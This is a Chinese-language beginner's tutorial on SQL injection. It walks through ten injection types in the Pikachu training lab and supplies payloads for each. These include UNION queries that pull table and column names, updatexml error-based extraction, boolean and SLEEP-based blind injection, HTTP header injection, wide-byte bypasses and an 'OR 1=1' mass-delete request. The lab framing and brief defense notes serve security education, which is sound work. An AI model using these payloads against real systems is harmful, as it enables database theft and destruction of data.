新手别慌!用Pikachu靶场从零理解SQL注入的10种花样(附详细Payload)
从Pikachu靶场透视SQL注入:新手必备的10种攻击模式全解析
当你第一次打开Pikachu靶场的SQL注入模块,看到那些令人眼花缭乱的分类——数字型、字符型、搜索型、盲注...是不是感觉无从下手?作为Web安全领域的"Hello World",SQL注入既是入门必修课,也是许多初学者遇到的第一个技术深坑。本文将带你系统梳理Pikachu靶场中的10种注入场景,不仅告诉你"怎么做",更揭示每种攻击背后的闭合逻辑和构造原理,让你真正掌握这门"与数据库对话的艺术"。
1. 理解SQL注入的核心逻辑
SQL注入的本质是通过用户输入改变原始SQL语句结构。想象一下,网站后台的SQL查询原本像一列按固定轨道行驶的火车,而我们的注入Payload就是扳动道岔的那只手。在Pikachu靶场中,这种"轨道切换"表现为三种基本形式:
- 数据截断:用单引号、双引号等闭合前段查询
- 逻辑注入:插入AND/OR等条件判断
- 语句拼接:通过UNION、子查询等扩展原语句
-- 典型示例:数字型注入的变形过程 原查询:SELECT * FROM users WHERE id=1 注入后:SELECT * FROM users WHERE id=1 UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'闭合方式决定了注入的成败。下表对比了常见注入类型的闭合特点:
| 注入类型 | 常见闭合方式 | 典型场景 | 测试方法 |
|---|---|---|---|
| 数字型 | 无需闭合 | 商品详情页 | 直接追加AND 1=1 |
| 字符型 | 单引号 | 登录框 | admin' AND '1'='1 |
| 搜索型 | 百分号+单引号 | 站内搜索 | %' AND 1=1 AND '%'=' |
| XX型 | 括号+单引号 | 复杂查询接口 | ') AND 1=1 AND ('1'='1 |
| HTTP头注入 | 换行符或直接闭合 | User-Agent记录功能 | \r\nX-Forwarded-For: 1' OR 1 |
提示:在实际测试中,建议先用单引号触发错误信息,根据报错内容判断闭合方式。Pikachu靶场贴心地保留了详细错误回显,这是现实环境中难得的"学习福利"。
2. 显错注入实战:从数字型到XX型
显错注入是新手最好的老师,Pikachu靶场前四种类型完美展示了不同场景下的注入变种。让我们解剖一个典型攻击链条:
2.1 数字型注入(POST)
这是最"单纯"的注入类型,无需考虑闭合问题。关键步骤:
- 确认注入点:分别提交
1 AND 1=1和1 AND 1=2,观察页面差异 - 探测字段数:
1 ORDER BY 4逐步增加数字直到报错 - 定位回显位:
1 UNION SELECT 1,2,3查看哪些数字显示在页面 - 提取信息:
-- 获取所有表名 1 UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() -- 获取某表的列名 1 UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name='users'
2.2 字符型注入(GET)
与数字型的最大区别是需要闭合单引号和注释后续语句。经典Payload结构:
原语句:SELECT * FROM users WHERE username='$input' 注入:' UNION SELECT 1,2,3-- 等效:SELECT * FROM users WHERE username='' UNION SELECT 1,2,3-- '注意:--后的空格在URL中要编码为%20,或者直接用+号替代。Pikachu靶场中也可以使用#作为注释符。
2.3 搜索型注入
这类注入常出现在模糊查询场景,核心是识别LIKE语句的结构。通过Pikachu的报错信息可以逆向出原始查询:
原语句:SELECT * FROM products WHERE name LIKE '%$input%' 注入:%' AND 1=1 AND '%'=' 等效:SELECT * FROM products WHERE name LIKE '%%' AND 1=1 AND '%'='%'2.4 XX型注入
这种少见但有趣的变种通常出现在复杂查询中,需要闭合括号和引号。通过报错信息可以判断闭合方式:
原语句:SELECT * FROM users WHERE (name='$input') 注入:') UNION SELECT 1,2,3-- 等效:SELECT * FROM users WHERE (name='') UNION SELECT 1,2,3-- ')3. 数据操作注入:Insert/Update/Delete的危险变奏
当注入点出现在数据写入操作时,攻击方式会发生有趣变化。Pikachu靶场提供了三种典型场景:
3.1 Insert注入(用户注册)
注册功能背后的SQL可能是:
INSERT INTO users (username,password) VALUES ('$user','$pass')攻击者可以通过精心构造用户名闭合语句:
用户名:admin',''),('',''),('',''),('',''),('',''))# 密码:任意 等效语句: INSERT INTO users (username,password) VALUES ('admin',''),('',''),('',''),('',''),('',''))# ,'$pass')这将插入多条记录,其中包含空密码的管理员账户。在Pikachu中更实用的方法是报错注入:
用户名:' OR updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) OR ' 等效语句: INSERT INTO users (username,password) VALUES ('' OR updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) OR '','$pass')3.2 Update注入(资料修改)
与Insert类似,但出现在资料更新功能:
UPDATE users SET email='$email' WHERE id=$uid利用方式:
email=' OR updatexml(1,concat(0x7e,(SELECT table_name FROM information_schema.tables LIMIT 1)),1) OR '3.3 Delete注入(留言删除)
最危险的注入类型之一,可能直接导致数据丢失。Pikachu中的攻击模式:
原请求:GET /delete.php?id=123 攻击:GET /delete.php?id=123 OR 1=1这将删除所有符合条件的记录而非仅指定ID。防御此类注入除了参数化查询外,还应实施:
- 权限校验(确保用户只能删除自己的内容)
- 二次确认机制
- 操作日志记录
4. 高阶注入技术:从盲注到宽字节
当网站关闭错误回显时,我们需要更精巧的攻击方式。Pikachu靶场提供了四种经典案例:
4.1 布尔盲注:与数据库的"是/否"游戏
布尔盲注就像在玩二十个问题,通过页面返回的真假状态逐步推断信息。核心方法:
' AND (SELECT SUBSTRING(database(),1,1))='p'-- ' AND (SELECT COUNT(*) FROM users)>10--Pikachu中的实用技巧:
- 先用
' AND 1=1--和' AND 1=2--确认注入点 - 通过
LENGTH(database())=7确定数据库名长度 - 用ASCII码逐字符比对:
' AND (ASCII(SUBSTR((SELECT table_name FROM information_schema.tables LIMIT 1),1,1))>100)--
4.2 时间盲注:让数据库"沉睡"的秘密
当页面响应无任何差异时,时间盲注成为最后手段。关键函数是SLEEP()和IF()的组合:
' AND IF(ASCII(SUBSTR(database(),1,1))=112,SLEEP(5),1)--在Pikachu中可以通过开发者工具的Network面板观察响应时间。自动化测试时建议:
- 设置合理的超时阈值(如3秒)
- 使用二分法加速猜解过程
- 注意网络延迟对判断的影响
4.3 HTTP头注入:被忽视的攻击面
Pikachu的HTTP头注入演示了User-Agent等头部也可能成为注入点。攻击模式:
User-Agent: ' OR updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) OR '其他易受攻击的头部包括:
- X-Forwarded-For
- Referer
- Cookie(特别是记录到数据库的情况)
4.4 宽字节注入:编码引发的血案
这种几乎绝迹的注入类型展示了字符编码如何成为安全隐患。当数据库使用GBK而应用使用UTF-8时:
原过滤:' → \' 绕过:%df' → %df%5c' → 運'Pikachu中的Payload示例:
id=%df' OR 1=1--防御措施很简单:统一使用UTF-8编码。这也是为什么现代框架中很少见到此类漏洞。
